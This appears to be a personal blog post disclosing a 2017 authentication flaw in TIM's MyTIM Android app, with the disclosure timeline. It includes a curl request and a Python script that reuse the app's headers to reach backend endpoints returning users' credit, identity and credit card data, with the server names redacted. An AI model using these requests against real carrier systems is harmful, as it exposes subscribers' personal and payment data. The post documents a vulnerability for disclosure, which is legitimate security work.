babush.me

$ hack; muzak; cat /dev/random

· security · 6 min read

MyTIM Vulnerability

TL;DR: Any app installed on your phone can perform privileged operations on TIM backends, without any kind of authentication. This makes it possible, for example, to obtain confidential data (tax ID, credit card, etc…) or activate services without any kind of intervention from the user.

As many people probably know, some TIM apps allow you to log in automatically without having to enter a username/password. This only happens when the phone is connected through the TIM mobile network (not Wi-Fi). Curious about this, I took a look at the MyTIM app to see how this functionality was implemented. This particular app is especially interesting because it’s the one used to manage offers/promotions, not to mention payments and top-ups.

After some quick and dirty reversing, I reached the interesting part where the first request to the backend is made. The curl command to replicate the request is the following:

$ curl 'https://REDACTED:443/widgetCamp/config.do' -H 'Client-Device-Id: 666' -H 'User-Widget: Android' -H 'Widget-Version: 4.0'
<?xml version='1.0' encoding='UTF-8'?>
...
<CUSTOMER msisdn="347XXXXXXX" profile="PREPAID"/>
...
<INTERFACE-LIST counter="20">
  <INTERFACE name="HELP" url="https://REDACTED:443/widgetCamp/help.do" enabled="true" label="Info"/>
  <INTERFACE name="INFO" url="https://REDACTED:443/widgetCamp/info.do" enabled="true" label="Home"/>
  <INTERFACE name="TRAFFIC" url="https://REDACTED:443/widgetCamp/traffic.do" enabled="true" label="Il tuo traffico"/>
  <INTERFACE name="SERVICES" url="https://REDACTED:443/widgetCamp/service.do" enabled="true" label="119 Web"/>
  <INTERFACE name="EXTRAS" url="https://REDACTED:443/widgetCamp/extras.do" enabled="true" label="Extras"/>
  <INTERFACE name="ALTRA UTENZA" url="https://REDACTED:443/widgetCamp/login.do" enabled="true" label="Accedi con altra Utenza"/>
  <INTERFACE name="OTP" url="https://REDACTED:443/widgetCamp/otp.do" enabled="true" label="Accedi con Password Temporanea"/>
  <INTERFACE name="LOGOUT" url="https://REDACTED:443/widgetCamp/logout.do" enabled="true" label="Esci"/>
  <INTERFACE name="PRIVACY" url="https://REDACTED:443/widgetCamp/privacy.do" enabled="true" label="Privacy"/>
  <INTERFACE name="GET_OFF_PER_TE_PP" url="https://REDACTED:443/widgetCamp/getOffertePerTePP.do" enabled="true" label="Info Offerte per Te PP"/>
  <INTERFACE name="INFO_OFF_PER_TE_PP" url="https://REDACTED:443/widgetCamp/getInfoOffertaPerTePP.do" enabled="true" label="Info Offerta per Te PP"/>
  <INTERFACE name="ATT_OFF_PER_TE_PP" url="https://REDACTED:443/widgetCamp/attivaOffertaPerTePP.do" enabled="true" label="Attiva Offerta per Te PP"/>
  <INTERFACE name="QUERY_ALERTS" url="https://REDACTED:443/widgetCamp/queryThresholdAlerts.do" enabled="true" label="TIM Ti Avvisa"/>
  <INTERFACE name="INSERT_ALERTS" url="https://REDACTED:443/widgetCamp/insertThresholdAlert.do" enabled="true" label="Inserisci Soglia"/>
  <INTERFACE name="UPDATE_ALERTS" url="https://REDACTED:443/widgetCamp/updateThresholdAlert.do" enabled="true" label="Modifica Soglia"/>
  <INTERFACE name="DELETE_ALERTS" url="https://REDACTED:443/widgetCamp/deleteThresholdAlert.do" enabled="true" label="Cancella Soglia"/>
  <INTERFACE name="GET-USER-PAN-INFO" url="https://REDACTED:443/widgetCamp/getUserCDCInfo.do" enabled="true" label="Get User PAN"/>
  <INTERFACE name="REMOVE-USER-PAN" url="https://REDACTED:443/widgetCamp/removeUserCDCInfo.do" enabled="true" label="Remove User PAN"/>
  <INTERFACE name="NEWINFO" url="https://REDACTED:443/widgetCamp/newInfo.do" enabled="true" label="Home"/>
  <INTERFACE name="NEWINFO-EXTENDED" url="https://REDACTED:443/widgetCamp/newInfoExtended.do" enabled="true" label="Home"/>
</INTERFACE-LIST>
...

A few interesting things stand out:

  • Client-Device-Id accepts any value, but changing the other headers causes the request to fail.
  • The user’s phone number is returned (346XXXXXXX)
  • I’m automatically authenticated
  • Among other things, a series of URLs is listed

So basically, making the request to the backend through the TIM network is effectively the automatic authentication system. The big problem with this approach is that any app on the device can impersonate the MyTIM app and, for example, request the user’s credit card data. This vulnerability vaguely falls into the CSRF category. In fact, if it weren’t for the custom HTTP headers that need to be present in the initial request, the vulnerability could also be exploited from a web browser.

The only possible solution I can see is asking the user for some kind of PIN… or going back to the classic username/password login. I honestly don’t know who thought it was a great idea to introduce such a serious bug without thinking about the consequences.

But let’s get back to analyzing the backend…

Requests to the various INTERFACEs need to be made within the same HTTP session used for the request to config.do, otherwise they get blocked because we’re not authenticated. For convenience, I wrote the following python script:

#!/usr/bin/env python

from __future__ import print_function
import requests

SERVER = 'https://REDACTED:443/widgetCamp/'

s = requests.Session()
s.headers.update({
    'Client-Device-Id': 7,
    'User-Widget': 'Android',
    'Widget-Version': '4.0'
})

# NETWORK LOGIN
r = s.get('config.do')
while True:
    svc = raw_input('> ').strip()
    r = s.get(SERVER + svc)
    print(r)
    print(r.text)

With this script, it’s possible to conveniently interact with the backend. Example:

$ ./test.py
...
> info.do
...
<CREDIT value="1.64" update="XX/XX/XXXX 00:13:19" label="Credito residuo">                                      
  <BONUS type="EURO" value="0.00" label="Bonus in euro" />
  <LASTEVENT value="Attivazione/rinnovo offerta" label="Aggiornato all'evento"/>
</CREDIT>                                       

<SIM_EXPIRATION date="01/XX/20XX 00:00:00"/>
...
<PROMOTIONS available="true" update="XX/XX/XXXX 15:28:02" label="Promozioni attive">
...
</PROMOTIONS>
...

With this single request we get information about the remaining credit, active promotions and the SIM expiration date. Since there isn’t much point in listing everything that can be done with these APIs, here’s a selection of the more interesting stuff:

  • getAnagraphic.do: user data including first name, last name, full address, tax ID, date and place of birth.
  • traffic.do: data/voice/SMS traffic broken down by time interval. This endpoint has the side effect of sending a warning SMS to the user after 30 minutes, for privacy reasons (lol).
  • privacy.do: bullshit text about how to protect your privacy (lol).
  • attivaOffertaPerTePP.do: I haven’t tested it for obvious reasons, but everything seems to indicate that it’s used to activate offers.
  • deleteThresholdAlert.do: deletes traffic threshold alerts.
  • getUserCDCInfo.do: I’ll just say that CDC = Carta Di Credito, credit card.
  • deactivate-promo.do?id=XXXXX: deactivates promotions.
  • various endpoints for doing top-ups, paying with PayPal, etc

At this point, I stopped experimenting and spent a couple of days thinking about whether to contact TIM or just pretend I hadn’t seen anything. My concern was that, in the best case, they wouldn’t do anything and, in the worst case, I’d just end up with problems.

In the end I decided to contact them on Twitter to report the issue…

Disclosure Timeline

May 9, 2017: I contact TIM through Twitter to ask who I should talk to about the disclosure. This is followed by a PM to @TIM4UGiulia where, among other things, I specify that I’m not contacting them for support, but to report a problem.

May 9, 2017 - Night: TIM asks me for details about the issue.

May 10, 2017: After explaining the issue and how it could be abused, I receive a fantastic message:

Hi, thank you for your report, the application will be improved with future updates and we will take what you reported into account. Keep following me. Have a good evening.

…basically saying, maybe we’ll do something about it in the future.

At this point I assume they don’t consider it a serious issue, so I tell them that I intend to publish what I found. Abracadabra, they ask me for a phone number and invite me to write to Telecom Italia’s CERT, giving me the email address.

May 11, 2017: Instead of giving them my phone number, I send them my email.

May 11, 2017 - 16:12: I receive an email from the CERT thanking me and repeating that the issue will be fixed in a future version of the app. However, they specify that they aren’t able to give me an exact date for when the changes will be introduced. In fact, they ask me to keep what I discovered confidential.

On a positive note, in the email they also tell me that they’re setting up a dedicated responsible disclosure process. This is the only genuinely good news in the whole situation. I hope it’s not just words. It’s 2017 and we’re talking about TIM, not some small company caught unprepared.

May 11, 2017 - 16:32: I reply saying that I’ll keep the issue private but that I hope they’ll fix the problem within a reasonable amount of time. I also add that I’ll contact them again in a couple of months to get an update on the situation.

May 11, 2017 - Evening: Person X points out that evilsocket is ranting on Twitter about how a disclosure to TIM is being handled (lol). He says that 15 days have passed since his disclosure and they still haven’t fixed anything. From the tone he’s using, it sounds like he found something very serious… So I’ll probably see how his story ends and then decide what to do.

July 18, 2017: Asked for an update. No response.

July 27, 2017: YOLO.